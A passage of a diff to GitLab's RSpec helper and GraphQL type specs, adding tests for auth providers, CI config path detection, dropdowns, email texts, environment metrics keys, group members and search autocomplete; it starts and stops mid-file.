+ is_expected.to have_graphql_type(Types::Admin::Analytics::InstanceStatistics::MeasurementType.connection_type)
+ end
+ end
end
diff --git a/spec/graphql/types/release_asset_link_type_spec.rb b/spec/graphql/types/release_asset_link_type_spec.rb
index 679431012cf..6800d5459c4 100644
--- a/spec/graphql/types/release_asset_link_type_spec.rb
+++ b/spec/graphql/types/release_asset_link_type_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe GitlabSchema.types['ReleaseAssetLink'] do
it 'has the expected fields' do
expected_fields = %w[
- id name url external link_type
+ id name url external link_type direct_asset_url
]
expect(described_class).to include_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/user_type_spec.rb b/spec/graphql/types/user_type_spec.rb
index 7710b8efefe..1d5af24b3d9 100644
--- a/spec/graphql/types/user_type_spec.rb
+++ b/spec/graphql/types/user_type_spec.rb
@@ -25,6 +25,7 @@ RSpec.describe GitlabSchema.types['User'] do
assignedMergeRequests
groupMemberships
projectMemberships
+ starredProjects
]
expect(described_class).to have_graphql_fields(*expected_fields)
diff --git a/spec/helpers/auth_helper_spec.rb b/spec/helpers/auth_helper_spec.rb
index 1e843ee221b..e0d316baa17 100644
--- a/spec/helpers/auth_helper_spec.rb
+++ b/spec/helpers/auth_helper_spec.rb
@@ -220,4 +220,44 @@ RSpec.describe AuthHelper do
it { is_expected.to be(false) }
end
end
+
+ describe '#auth_active?' do
+ let(:user) { create(:user) }
+
+ def auth_active?
+ helper.auth_active?(provider)
+ end
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ context 'for atlassian_oauth2 provider' do
+ let_it_be(:provider) { :atlassian_oauth2 }
+
+ it 'returns true when present' do
+ create(:atlassian_identity, user: user)
+
+ expect(auth_active?).to be true
+ end
+
+ it 'returns false when not present' do
+ expect(auth_active?).to be false
+ end
+ end
+
+ context 'for other omniauth providers' do
+ let_it_be(:provider) { 'google_oauth2' }
+
+ it 'returns true when present' do
+ create(:identity, provider: provider, user: user)
+
+ expect(auth_active?).to be true
+ end
+
+ it 'returns false when not present' do
+ expect(auth_active?).to be false
+ end
+ end
+ end
end
diff --git a/spec/helpers/blob_helper_spec.rb b/spec/helpers/blob_helper_spec.rb
index 3ba9f39d21a..06f86e7716a 100644
--- a/spec/helpers/blob_helper_spec.rb
+++ b/spec/helpers/blob_helper_spec.rb
@@ -481,4 +481,59 @@ RSpec.describe BlobHelper do
end
end
end
+
+ describe '#editing_ci_config?' do
+ let(:project) { build(:project) }
+
+ subject { helper.editing_ci_config? }
+
+ before do
+ assign(:project, project)
+ assign(:path, path)
+ end
+
+ context 'when path is nil' do
+ let(:path) { nil }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when path is not a ci file' do
+ let(:path) { 'some-file.txt' }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when path ends is gitlab-ci.yml' do
+ let(:path) { '.gitlab-ci.yml' }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when path ends with gitlab-ci.yml' do
+ let(:path) { 'template.gitlab-ci.yml' }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'with custom ci paths' do
+ let(:path) { 'path/to/ci.yaml' }
+
+ before do
+ project.ci_config_path = 'path/to/ci.yaml'
+ end
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'with custom ci config and path' do
+ let(:path) { 'path/to/template.gitlab-ci.yml' }
+
+ before do
+ project.ci_config_path = 'ci/path/.gitlab-ci.yml@another-group/another-project'
+ end
+
+ it { is_expected.to be_truthy }
+ end
+ end
end
diff --git a/spec/helpers/ci/pipelines_helper_spec.rb b/spec/helpers/ci/pipelines_helper_spec.rb
index 89b9907d0c2..a96d6e7711f 100644
--- a/spec/helpers/ci/pipelines_helper_spec.rb
+++ b/spec/helpers/ci/pipelines_helper_spec.rb
@@ -22,8 +22,8 @@ RSpec.describe Ci::PipelinesHelper do
let(:warning_messages) { [double(content: 'Warning 1'), double(content: 'Warning 2')] }
it 'returns a warning callout box' do
- expect(subject).to have_css 'div.alert-warning'
- expect(subject).to include 'Warning:'
+ expect(subject).to have_css 'div.bs-callout-warning'
+ expect(subject).to include '2 warning(s) found:'
end
it 'lists the the warnings' do
@@ -32,4 +32,24 @@ RSpec.describe Ci::PipelinesHelper do
end
end
end
+
+ describe 'warning_header' do
+ subject { helper.warning_header(count) }
+
+ context 'when warnings are more than max cap' do
+ let(:count) { 30 }
+
+ it 'returns 30 warning(s) found: showing first 25' do
+ expect(subject).to eq('30 warning(s) found: showing first 25')
+ end
+ end
+
+ context 'when warnings are less than max cap' do
+ let(:count) { 15 }
+
+ it 'returns 15 warning(s) found' do
+ expect(subject).to eq('15 warning(s) found:')
+ end
+ end
+ end
end
diff --git a/spec/helpers/clusters_helper_spec.rb b/spec/helpers/clusters_helper_spec.rb
index dff83005c89..6164f3b5e8d 100644
--- a/spec/helpers/clusters_helper_spec.rb
+++ b/spec/helpers/clusters_helper_spec.rb
@@ -77,7 +77,15 @@ RSpec.describe ClustersHelper do
end
it 'displays and ancestor_help_path' do
- expect(subject[:ancestor_help_path]).to eq('/help/user/group/clusters/index#cluster-precedence')
+ expect(subject[:ancestor_help_path]).to eq(help_page_path('user/group/clusters/index', anchor: 'cluster-precedence'))
+ end
+ end
+
+ describe '#js_cluster_new' do
+ subject { helper.js_cluster_new }
+
+ it 'displays a cluster_connect_help_path' do
+ expect(subject[:cluster_connect_help_path]).to eq(help_page_path('user/project/clusters/add_remove_clusters', anchor: 'add-existing-cluster'))
end
end
diff --git a/spec/helpers/container_registry_helper_spec.rb b/spec/helpers/container_registry_helper_spec.rb
new file mode 100644
index 00000000000..6e6e8137b3e
--- /dev/null
+++ b/spec/helpers/container_registry_helper_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ContainerRegistryHelper do
+ using RSpec::Parameterized::TableSyntax
+
+ describe '#limit_delete_tags_service?' do
+ subject { helper.limit_delete_tags_service? }
+
+ where(:feature_flag_enabled, :client_support, :expected_result) do
+ true | true | true
+ true | false | false
+ false | true | false
+ false | false | false
+ end
+
+ with_them do
+ before do
+ stub_feature_flags(container_registry_expiration_policies_throttling: feature_flag_enabled)
+ allow(ContainerRegistry::Client).to receive(:supports_tag_delete?).and_return(client_support)
+ end
+
+ it { is_expected.to eq(expected_result) }
+ end
+ end
+end
diff --git a/spec/helpers/dropdowns_helper_spec.rb b/spec/helpers/dropdowns_helper_spec.rb
new file mode 100644
index 00000000000..fd1125d0024
--- /dev/null
+++ b/spec/helpers/dropdowns_helper_spec.rb
@@ -0,0 +1,253 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe DropdownsHelper do
+ before do
+ allow(helper).to receive(:sprite_icon).and_return('<span class="icon"></span>'.html_safe)
+ allow(helper).to receive(:icon).and_return('<span class="icon"></span>'.html_safe)
+ end
+
+ shared_examples 'has two icons' do
+ it 'returns two icons' do
+ expect(content.scan('icon').count).to eq(2)
+ end
+ end
+
+ describe '#dropdown_tag' do
+ let(:content) { helper.dropdown_tag('toggle', options: { wrapper_class: 'fuz' }) { 'fizzbuzz' } }
+
+ it 'returns the container in the content' do
+ expect(content).to include('dropdown fuz')
+ end
+
+ it 'returns the block in the content' do
+ expect(content).to include('fizzbuzz')
+ end
+ end
+
+ describe '#dropdown_toggle' do
+ let(:content) { helper.dropdown_toggle('foo', { default_label: 'foo' }, { toggle_class: 'fuz' }) }
+
+ it 'returns the button' do
+ expect(content).to include('dropdown-menu-toggle fuz')
+ end
+
+ it 'returns the buttons default label data attribute' do
+ expect(content).to include('data-default-label="foo"')
+ end
+
+ it 'returns the dropdown toggle text', :aggregate_failures do
+ expect(content).to include('dropdown-toggle-text is-default')
+ expect(content).to include('foo')
+ end
+
+ it 'returns the button icon in the content' do
+ expect(content.scan('icon').count).to eq(1)
+ end
+ end
+
+ describe '#dropdown_toggle_link' do
+ let(:content) { dropdown_toggle_link('foo', { data: 'bar' }, { toggle_class: 'fuz' }) }
+
+ it 'returns the link' do
+ expect(content).to include('dropdown-toggle-text fuz')
+ end
+
+ it 'returns the links data attribute' do
+ expect(content).to include('data-data="bar"')
+ end
+
+ it 'returns the link text' do
+ expect(content).to include('foo')
+ end
+ end
+
+ describe '#dropdown_title' do
+ shared_examples 'has a back button' do
+ it 'contains the back button' do
+ expect(content).to include('dropdown-title-button dropdown-menu-back')
+ end
+ end
+
+ shared_examples 'does not have a back button' do
+ it 'does not contain the back button' do
+ expect(content).not_to include('dropdown-title-button dropdown-menu-back')
+ end
+ end
+
+ shared_examples 'does not apply the margin class to the back button' do
+ it 'does not contain the back button margin class' do
+ expect(content).not_to include('dropdown-title-button dropdown-menu-back gl-mr-auto')
+ end
+ end
+
+ shared_examples 'has a close button' do
+ it 'contains the close button' do
+ expect(content).to include('dropdown-title-button dropdown-menu-close')
+ end
+ end
+
+ shared_examples 'does not have a close button' do
+ it 'does not contain the close button' do
+ expect(content).not_to include('dropdown-title-button dropdown-menu-close')
+ end
+ end
+
+ shared_examples 'does not apply the margin class to the close button' do
+ it 'does not contain the close button margin class' do
+ expect(content).not_to include('dropdown-title-button dropdown-menu-close gl-ml-auto')
+ end
+ end
+
+ shared_examples 'has the title text' do
+ it 'contains the title text' do
+ expect(content).to include('Foo')
+ end
+ end
+
+ shared_examples 'has the title margin class' do |margin_class: ''|
+ it 'contains the title margin class' do
+ expect(content).to match(/class="#{margin_class}.*"[^>]*>Foo/)
+ end
+ end
+
+ shared_examples 'does not have the title margin class' do
+ it 'does not have the title margin class' do
+ expect(content).not_to match(/class="gl-m[r|l]-auto.*"[^>]*>Foo/)
+ end
+ end
+
+ context 'with a back and close button' do
+ let(:content) { helper.dropdown_title('Foo', options: { back: true, close: true }) }
+
+ it 'applies the justification class to the container', :aggregate_failures do
+ expect(content).to match(/"dropdown-title.*gl-justify-content-space-between"/)
+ end
+
+ it_behaves_like 'has a back button'
+ it_behaves_like 'has the title text'
+ it_behaves_like 'has a close button'
+ it_behaves_like 'has two icons'
+ it_behaves_like 'does not have the title margin class'
+ end
+
+ context 'with a back button' do
+ let(:content) { helper.dropdown_title('Foo', options: { back: true, close: false }) }
+
+ it_behaves_like 'has a back button'
+ it_behaves_like 'has the title text'
+ it_behaves_like 'has the title margin class', margin_class: 'gl-mr-auto'
+ it_behaves_like 'does not have a close button'
+
+ it 'returns the back button icon' do
+ expect(content.scan('icon').count).to eq(1)
+ end
+ end
+
+ context 'with a close button' do
+ let(:content) { helper.dropdown_title('Foo', options: { back: false, close: true }) }
+
+ it_behaves_like 'does not have a back button'
+ it_behaves_like 'has the title text'
+ it_behaves_like 'has the title margin class', margin_class: 'gl-ml-auto'
+ it_behaves_like 'has a close button'
+
+ it 'returns the close button icon' do
+ expect(content.scan('icon').count).to eq(1)
+ end
+ end
+
+ context 'without any buttons' do
+ let(:content) { helper.dropdown_title('Foo', options: { back: false, close: false }) }
+
+ it_behaves_like 'does not have a back button'
+ it_behaves_like 'has the title text'
+ it_behaves_like 'does not have the title margin class'
+ it_behaves_like 'does not have a close button'
+
+ it 'returns no button icons' do
+ expect(content.scan('icon').count).to eq(0)
+ end
+ end
+ end
+
+ describe '#dropdown_filter' do
+ let(:content) { helper.dropdown_filter('foo') }
+
+ it_behaves_like 'has two icons'
+
+ it 'returns the container' do
+ expect(content).to include('dropdown-input')
+ end
+
+ it 'returns the search input', :aggregate_failures do
+ expect(content).to include('dropdown-input-field')
+ expect(content).to include('placeholder="foo"')
+ end
+ end
+
+ describe '#dropdown_content' do
+ shared_examples 'contains the container' do
+ it 'returns the container in the content' do
+ expect(content).to include('dropdown-content')
+ end
+ end
+
+ context 'without block' do
+ let(:content) { helper.dropdown_content }
+
+ it_behaves_like 'contains the container'
+ end
+
+ context 'with block' do
+ let(:content) { helper.dropdown_content { 'foo' } }
+
+ it_behaves_like 'contains the container'
+
+ it 'returns the block in the content' do
+ expect(content).to include('foo')
+ end
+ end
+ end
+
+ describe '#dropdown_footer' do
+ shared_examples 'contains the content' do
+ it 'returns the container in the content' do
+ expect(content).to include('dropdown-footer')
+ end
+
+ it 'returns the block in the content' do
+ expect(content).to include('foo')
+ end
+ end
+
+ context 'without a content class' do
+ let(:content) { helper.dropdown_footer { 'foo' } }
+
+ it_behaves_like 'contains the content'
+ end
+
+ context 'without a content class' do
+ let(:content) { helper.dropdown_footer(add_content_class: true) { 'foo' } }
+
+ it_behaves_like 'contains the content'
+
+ it 'returns the footer in the content' do
+ expect(content).to include('dropdown-footer-content')
+ end
+ end
+ end
+
+ describe '#dropdown_loading' do
+ let(:content) { helper.dropdown_loading }
+
+ it 'returns the container in the content' do
+ expect(content).to include('dropdown-loading')
+ end
+
+ it 'returns an icon in the content' do
+ expect(content.scan('icon').count).to eq(1)
+ end
+ end
+end
diff --git a/spec/helpers/emails_helper_spec.rb b/spec/helpers/emails_helper_spec.rb
index bc5fe05ab52..96ac4015c77 100644
--- a/spec/helpers/emails_helper_spec.rb
+++ b/spec/helpers/emails_helper_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe EmailsHelper do
context "and format is unknown" do
it "returns plain text" do
- expect(helper.closure_reason_text(merge_request, format: :text)).to eq("via merge request #{merge_request.to_reference} (#{merge_request_presenter.web_url})")
+ expect(helper.closure_reason_text(merge_request, format: 'unknown')).to eq("via merge request #{merge_request.to_reference} (#{merge_request_presenter.web_url})")
end
end
end
@@ -110,6 +110,76 @@ RSpec.describe EmailsHelper do
end
end
+ describe '#say_hi' do
+ let(:user) { create(:user, name: 'John') }
+
+ it 'returns the greeting message for the given user' do
+ expect(say_hi(user)).to eq('Hi John!')
+ end
+ end
+
+ describe '#say_hello' do
+ let(:user) { build(:user, name: 'John') }
+
+ it 'returns the greeting message for the given user' do
+ expect(say_hello(user)).to eq('Hello, John!')
+ end
+ end
+
+ describe '#two_factor_authentication_disabled_text' do
+ it 'returns the message that 2FA is disabled' do
+ expect(two_factor_authentication_disabled_text).to eq(
+ _('Two-factor authentication has been disabled for your GitLab account.')
+ )
+ end
+ end
+
+ describe '#re_enable_two_factor_authentication_text' do
+ context 'format is html' do
+ it 'returns HTML' do
+ expect(re_enable_two_factor_authentication_text(format: :html)).to eq(
+ "If you want to re-enable two-factor authentication, visit the " \
+ "#{link_to('two-factor authentication settings', profile_two_factor_auth_url, target: :_blank, rel: 'noopener noreferrer')} page."
+ )
+ end
+ end
+
+ context 'format is not specified' do
+ it 'returns text' do
+ expect(re_enable_two_factor_authentication_text).to eq(
+ "If you want to re-enable two-factor authentication, visit #{profile_two_factor_auth_url}"
+ )
+ end
+ end
+ end
+
+ describe '#admin_changed_password_text' do
+ context 'format is html' do
+ it 'returns HTML' do
+ expect(admin_changed_password_text(format: :html)).to eq(
+ "An administrator changed the password for your GitLab account on " \
+ "#{link_to(Gitlab.config.gitlab.url, Gitlab.config.gitlab.url, target: :_blank, rel: 'noopener noreferrer')}."
+ )
+ end
+ end
+
+ context 'format is not specified' do
+ it 'returns text' do
+ expect(admin_changed_password_text).to eq(
+ "An administrator changed the password for your GitLab account on #{Gitlab.config.gitlab.url}."
+ )
+ end
+ end
+ end
+
+ describe '#contact_your_administrator_text' do
+ it 'returns the message to contact the administrator' do
+ expect(contact_your_administrator_text).to eq(
+ _('Please contact your administrator with any questions.')
+ )
+ end
+ end
+
describe 'password_reset_token_valid_time' do
def validate_time_string(time_limit, expected_string)
Devise.reset_password_within = time_limit
diff --git a/spec/helpers/environments_helper_spec.rb b/spec/helpers/environments_helper_spec.rb
index cb7d12b331a..d316f2b0a0a 100644
--- a/spec/helpers/environments_helper_spec.rb
+++ b/spec/helpers/environments_helper_spec.rb
@@ -18,34 +18,34 @@ RSpec.describe EnvironmentsHelper do
it 'returns data' do
expect(metrics_data).to include(
- 'settings-path' => edit_project_service_path(project, 'prometheus'),
- 'clusters-path' => project_clusters_path(project),
- 'metrics-dashboard-base-path' => environment_metrics_path(environment),
- 'current-environment-name' => environment.name,
- 'documentation-path' => help_page_path('administration/monitoring/prometheus/index.md'),
- 'add-dashboard-documentation-path' => help_page_path('operations/metrics/dashboards/index.md', anchor: 'add-a-new-dashboard-to-your-project'),
- 'empty-getting-started-svg-path' => match_asset_path('/assets/illustrations/monitoring/getting_started.svg'),
- 'empty-loading-svg-path' => match_asset_path('/assets/illustrations/monitoring/loading.svg'),
- 'empty-no-data-svg-path' => match_asset_path('/assets/illustrations/monitoring/no_data.svg'),
- 'empty-unable-to-connect-svg-path' => match_asset_path('/assets/illustrations/monitoring/unable_to_connect.svg'),
- 'metrics-endpoint' => additional_metrics_project_environment_path(project, environment, format: :json),
- 'deployments-endpoint' => project_environment_deployments_path(project, environment, format: :json),
- 'default-branch' => 'master',
- 'project-path' => project_path(project),
- 'tags-path' => project_tags_path(project),
- 'has-metrics' => "#{environment.has_metrics?}",
- 'prometheus-status' => "#{environment.prometheus_status}",
- 'external-dashboard-url' => nil,
- 'environment-state' => environment.state,
- 'custom-metrics-path' => project_prometheus_metrics_path(project),
- 'validate-query-path' => validate_query_project_prometheus_metrics_path(project),
- 'custom-metrics-available' => 'true',
- 'alerts-endpoint' => project_prometheus_alerts_path(project, environment_id: environment.id, format: :json),
- 'prometheus-alerts-available' => 'true',
- 'custom-dashboard-base-path' => Gitlab::Metrics::Dashboard::RepoDashboardFinder::DASHBOARD_ROOT,
- 'operations-settings-path' => project_settings_operations_path(project),
- 'can-access-operations-settings' => 'true',
- 'panel-preview-endpoint' => project_metrics_dashboards_builder_path(project, format: :json)
+ 'settings_path' => edit_project_service_path(project, 'prometheus'),
+ 'clusters_path' => project_clusters_path(project),
+ 'metrics_dashboard_base_path' => environment_metrics_path(environment),
+ 'current_environment_name' => environment.name,
+ 'documentation_path' => help_page_path('administration/monitoring/prometheus/index.md'),
+ 'add_dashboard_documentation_path' => help_page_path('operations/metrics/dashboards/index.md', anchor: 'add-a-new-dashboard-to-your-project'),
+ 'empty_getting_started_svg_path' => match_asset_path('/assets/illustrations/monitoring/getting_started.svg'),
+ 'empty_loading_svg_path' => match_asset_path('/assets/illustrations/monitoring/loading.svg'),
+ 'empty_no_data_svg_path' => match_asset_path('/assets/illustrations/monitoring/no_data.svg'),
+ 'empty_unable_to_connect_svg_path' => match_asset_path('/assets/illustrations/monitoring/unable_to_connect.svg'),
+ 'metrics_endpoint' => additional_metrics_project_environment_path(project, environment, format: :json),
+ 'deployments_endpoint' => project_environment_deployments_path(project, environment, format: :json),
+ 'default_branch' => 'master',
+ 'project_path' => project_path(project),
+ 'tags_path' => project_tags_path(project),
+ 'has_metrics' => "#{environment.has_metrics?}",
+ 'prometheus_status' => "#{environment.prometheus_status}",
+ 'external_dashboard_url' => nil,
+ 'environment_state' => environment.state,
+ 'custom_metrics_path' => project_prometheus_metrics_path(project),
+ 'validate_query_path' => validate_query_project_prometheus_metrics_path(project),
+ 'custom_metrics_available' => 'true',
+ 'alerts_endpoint' => project_prometheus_alerts_path(project, environment_id: environment.id, format: :json),
+ 'prometheus_alerts_available' => 'true',
+ 'custom_dashboard_base_path' => Gitlab::Metrics::Dashboard::RepoDashboardFinder::DASHBOARD_ROOT,
+ 'operations_settings_path' => project_settings_operations_path(project),
+ 'can_access_operations_settings' => 'true',
+ 'panel_preview_endpoint' => project_metrics_dashboards_builder_path(project, format: :json)
)
end
@@ -58,7 +58,7 @@ RSpec.describe EnvironmentsHelper do
specify do
expect(metrics_data).to include(
- 'can-access-operations-settings' => 'false'
+ 'can_access_operations_settings' => 'false'
)
end
end
@@ -72,7 +72,7 @@ RSpec.describe EnvironmentsHelper do
it 'returns false' do
expect(metrics_data).to include(
- 'prometheus-alerts-available' => 'false'
+ 'prometheus_alerts_available' => 'false'
)
end
end
@@ -83,7 +83,7 @@ RSpec.describe EnvironmentsHelper do
end
it 'adds external_dashboard_url' do
- expect(metrics_data['external-dashboard-url']).to eq('http://gitlab.com')
+ expect(metrics_data['external_dashboard_url']).to eq('http://gitlab.com')
end
end
@@ -94,7 +94,7 @@ RSpec.describe EnvironmentsHelper do
subject { metrics_data }
- it { is_expected.to include('environment-state' => 'stopped') }
+ it { is_expected.to include('environment_state' => 'stopped') }
end
context 'when request is from project scoped metrics path' do
@@ -107,16 +107,16 @@ RSpec.describe EnvironmentsHelper do
context '/:namespace/:project/-/metrics' do
let(:path) { project_metrics_dashboard_path(project) }
- it 'uses correct path for metrics-dashboard-base-path' do
- expect(metrics_data['metrics-dashboard-base-path']).to eq(project_metrics_dashboard_path(project))
+ it 'uses correct path for metrics_dashboard_base_path' do
+ expect(metrics_data['metrics_dashboard_base_path']).to eq(project_metrics_dashboard_path(project))
end
end
context '/:namespace/:project/-/metrics/some_custom_dashboard.yml' do
let(:path) { "#{project_metrics_dashboard_path(project)}/some_custom_dashboard.yml" }
- it 'uses correct path for metrics-dashboard-base-path' do
- expect(metrics_data['metrics-dashboard-base-path']).to eq(project_metrics_dashboard_path(project))
+ it 'uses correct path for metrics_dashboard_base_path' do
+ expect(metrics_data['metrics_dashboard_base_path']).to eq(project_metrics_dashboard_path(project))
end
end
end
@@ -143,11 +143,11 @@ RSpec.describe EnvironmentsHelper do
describe '#environment_logs_data' do
it 'returns logs data' do
expected_data = {
- "environment-name": environment.name,
- "environments-path": project_environments_path(project, format: :json),
- "environment-id": environment.id,
- "cluster-applications-documentation-path" => help_page_path('user/clusters/applications.md', anchor: 'elastic-stack'),
- "clusters-path": project_clusters_path(project, format: :json)
+ "environment_name": environment.name,
+ "environments_path": project_environments_path(project, format: :json),
+ "environment_id": environment.id,
+ "cluster_applications_documentation_path" => help_page_path('user/clusters/applications.md', anchor: 'elastic-stack'),
+ "clusters_path": project_clusters_path(project, format: :json)
}
expect(helper.environment_logs_data(project, environment)).to eq(expected_data)
diff --git a/spec/helpers/groups/group_members_helper_spec.rb b/spec/helpers/groups/group_members_helper_spec.rb
index 90792331d9b..a25bf1c4157 100644
--- a/spec/helpers/groups/group_members_helper_spec.rb
+++ b/spec/helpers/groups/group_members_helper_spec.rb
@@ -3,6 +3,8 @@
require "spec_helper"
RSpec.describe Groups::GroupMembersHelper do
+ include MembersPresentation
+
describe '.group_member_select_options' do
let(:group) { create(:group) }
@@ -14,4 +16,50 @@ RSpec.describe Groups::GroupMembersHelper do
expect(helper.group_member_select_options).to include(multiple: true, scope: :all, email_user: true)
end
end
+
+ describe '#linked_groups_data_json' do
+ include_context 'group_group_link'
+
+ it 'matches json schema' do
+ json = helper.linked_groups_data_json(shared_group.shared_with_group_links)
+
+ expect(json).to match_schema('group_group_links')
+ end
+ end
+
+ describe '#members_data_json' do
+ let(:current_user) { create(:user) }
+ let(:group) { create(:group) }
+
+ before do
+ allow(helper).to receive(:can?).with(current_user, :owner_access, group).and_return(true)
+ allow(helper).to receive(:current_user).and_return(current_user)
+ end
+
+ shared_examples 'group_members.json' do
+ it 'matches json schema' do
+ json = helper.members_data_json(group, present_members([group_member]))
+
+ expect(json).to match_schema('group_members')
+ end
+ end
+
+ context 'for a group member' do
+ let(:group_member) { create(:group_member, group: group, created_by: current_user) }
+
+ it_behaves_like 'group_members.json'
+ end
+
+ context 'for an invited group member' do
+ let(:group_member) { create(:group_member, :invited, group: group, created_by: current_user) }
+
+ it_behaves_like 'group_members.json'
+ end
+
+ context 'for an access request' do
+ let(:group_member) { create(:group_member, :access_request, group: group, created_by: current_user) }
+
+ it_behaves_like 'group_members.json'
+ end
+ end
end
diff --git a/spec/helpers/groups_helper_spec.rb b/spec/helpers/groups_helper_spec.rb
index 0790dc1b674..08b25d64b43 100644
--- a/spec/helpers/groups_helper_spec.rb
+++ b/spec/helpers/groups_helper_spec.rb
@@ -369,4 +369,48 @@ RSpec.describe GroupsHelper do
it { is_expected.to be_falsey }
end
end
+
+ describe '#show_invite_banner?' do
+ let_it_be(:current_user) { create(:user) }
+ let_it_be_with_refind(:group) { create(:group) }
+ let_it_be(:users) { [current_user, create(:user)] }
+
+ subject { helper.show_invite_banner?(group) }
+
+ before do
+ allow(helper).to receive(:current_user) { current_user }
+ allow(helper).to receive(:can?).with(current_user, :admin_group, group).and_return(can_admin_group)
+ stub_feature_flags(invite_your_teammates_banner_a: feature_enabled_flag)
+ users.take(group_members_count).each { |user| group.add_guest(user) }
+ end
+
+ using RSpec::Parameterized::TableSyntax
+
+ where(:feature_enabled_flag, :can_admin_group, :group_members_count, :expected_result) do
+ true | true | 1 | true
+ true | false | 1 | false
+ false | true | 1 | false
+ false | false | 1 | false
+ true | true | 2 | false
+ true | false | 2 | false
+ false | true | 2 | false
+ false | false | 2 | false
+ end
+
+ with_them do
+ context 'when the group was just created' do
+ before do
+ flash[:notice] = "Group #{group.name} was successfully created"
+ end
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when no flash message' do
+ it 'returns the expected result' do
+ expect(subject).to eq(expected_result)
+ end
+ end
+ end
+ end
end
diff --git a/spec/helpers/issuables_helper_spec.rb b/spec/helpers/issuables_helper_spec.rb
index 9b32758c053..89a2a92ea57 100644
--- a/spec/helpers/issuables_helper_spec.rb
+++ b/spec/helpers/issuables_helper_spec.rb
@@ -197,7 +197,9 @@ RSpec.describe IssuablesHelper do
initialTitleText: issue.title,
initialDescriptionHtml: '<p dir="auto">issue text</p>',
initialDescriptionText: 'issue text',
- initialTaskStatus: '0 of 0 tasks completed'
+ initialTaskStatus: '0 of 0 tasks completed',
+ issueType: 'issue',
+ iid: issue.iid.to_s
}
expect(helper.issuable_initial_data(issue)).to match(hash_including(expected_data))
end
diff --git a/spec/helpers/merge_requests_helper_spec.rb b/spec/helpers/merge_requests_helper_spec.rb
index fcb9efa39d5..153dc19335b 100644
--- a/spec/helpers/merge_requests_helper_spec.rb
+++ b/spec/helpers/merge_requests_helper_spec.rb
@@ -75,7 +75,7 @@ RSpec.describe MergeRequestsHelper do
describe '#tab_link_for' do
let(:merge_request) { create(:merge_request, :simple) }
- let(:options) { Hash.new }
+ let(:options) { {} }
subject { tab_link_for(merge_request, :show, options) { 'Discussion' } }
diff --git a/spec/helpers/notifications_helper_spec.rb b/spec/helpers/notifications_helper_spec.rb
index 8d2806cbef6..176585e2ded 100644
--- a/spec/helpers/notifications_helper_spec.rb
+++ b/spec/helpers/notifications_helper_spec.rb
@@ -4,12 +4,12 @@ require 'spec_helper'
RSpec.describe NotificationsHelper do
describe 'notification_icon' do
- it { expect(notification_icon(:disabled)).to match('class="fa fa-microphone-slash fa-fw"') }
- it { expect(notification_icon(:owner_disabled)).to match('class="fa fa-microphone-slash fa-fw"') }
- it { expect(notification_icon(:participating)).to match('class="fa fa-volume-up fa-fw"') }
- it { expect(notification_icon(:mention)).to match('class="fa fa-at fa-fw"') }
- it { expect(notification_icon(:global)).to match('class="fa fa-globe fa-fw"') }
- it { expect(notification_icon(:watch)).to match('class="fa fa-eye fa-fw"') }
+ it { expect(notification_icon(:disabled)).to match('data-testid="notifications-off-icon"') }
+ it { expect(notification_icon(:owner_disabled)).to match('data-testid="notifications-off-icon"') }
+ it { expect(notification_icon(:participating)).to match('data-testid="notifications-icon"') }
+ it { expect(notification_icon(:mention)).to match('data-testid="at-icon"') }
+ it { expect(notification_icon(:global)).to match('data-testid="earth-icon') }
+ it { expect(notification_icon(:watch)).to match('data-testid="eye-icon"') }
end
describe 'notification_title' do
diff --git a/spec/helpers/operations_helper_spec.rb b/spec/helpers/operations_helper_spec.rb
index 8e3b1db5272..3dac2cf54dc 100644
--- a/spec/helpers/operations_helper_spec.rb
+++ b/spec/helpers/operations_helper_spec.rb
@@ -137,7 +137,8 @@ RSpec.describe OperationsHelper do
:project_incident_management_setting,
project: project,
issue_template_key: 'template-key',
- pagerduty_active: true
+ pagerduty_active: true,
+ auto_close_incident: false
)
end
@@ -150,6 +151,7 @@ RSpec.describe OperationsHelper do
create_issue: 'false',
issue_template_key: 'template-key',
send_email: 'false',
+ auto_close_incident: 'false',
pagerduty_active: 'true',
pagerduty_token: operations_settings.pagerduty_token,
pagerduty_webhook_url: project_incidents_integrations_pagerduty_url(project, token: operations_settings.pagerduty_token),
diff --git a/spec/helpers/releases_helper_spec.rb b/spec/helpers/releases_helper_spec.rb
index 6ae99648ff3..f10a2ed8e60 100644
--- a/spec/helpers/releases_helper_spec.rb
+++ b/spec/helpers/releases_helper_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe ReleasesHelper do
let(:release) { create(:release, project: project) }
let(:user) { create(:user) }
let(:can_user_create_release) { false }
- let(:common_keys) { [:project_id, :illustration_path, :documentation_path] }
+ let(:common_keys) { [:project_id, :project_path, :illustration_path, :documentation_path] }
# rubocop: disable CodeReuse/ActiveRecord
before do
diff --git a/spec/helpers/search_helper_spec.rb b/spec/helpers/search_helper_spec.rb
index 699232e67b1..594c5c11994 100644
--- a/spec/helpers/search_helper_spec.rb
+++ b/spec/helpers/search_helper_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe SearchHelper do
+ include MarkupHelper
+
# Override simple_sanitize for our testing purposes
def simple_sanitize(str)
str
@@ -71,6 +73,72 @@ RSpec.describe SearchHelper do
expect(result.keys).to match_array(%i[category id label url avatar_url])
end
+ it 'includes the first 5 of the users recent issues' do
+ recent_issues = instance_double(::Gitlab::Search::RecentIssues)
+ expect(::Gitlab::Search::RecentIssues).to receive(:new).with(user: user).and_return(recent_issues)
+ project1 = create(:project, :with_avatar, namespace: user.namespace)
+ project2 = create(:project, namespace: user.namespace)
+ issue1 = create(:issue, title: 'issue 1', project: project1)
+ issue2 = create(:issue, title: 'issue 2', project: project2)
+
+ other_issues = create_list(:issue, 5)
+
+ expect(recent_issues).to receive(:search).with('the search term').and_return(Issue.id_in_ordered([issue1.id, issue2.id, *other_issues.map(&:id)]))
+
+ results = search_autocomplete_opts("the search term")
+
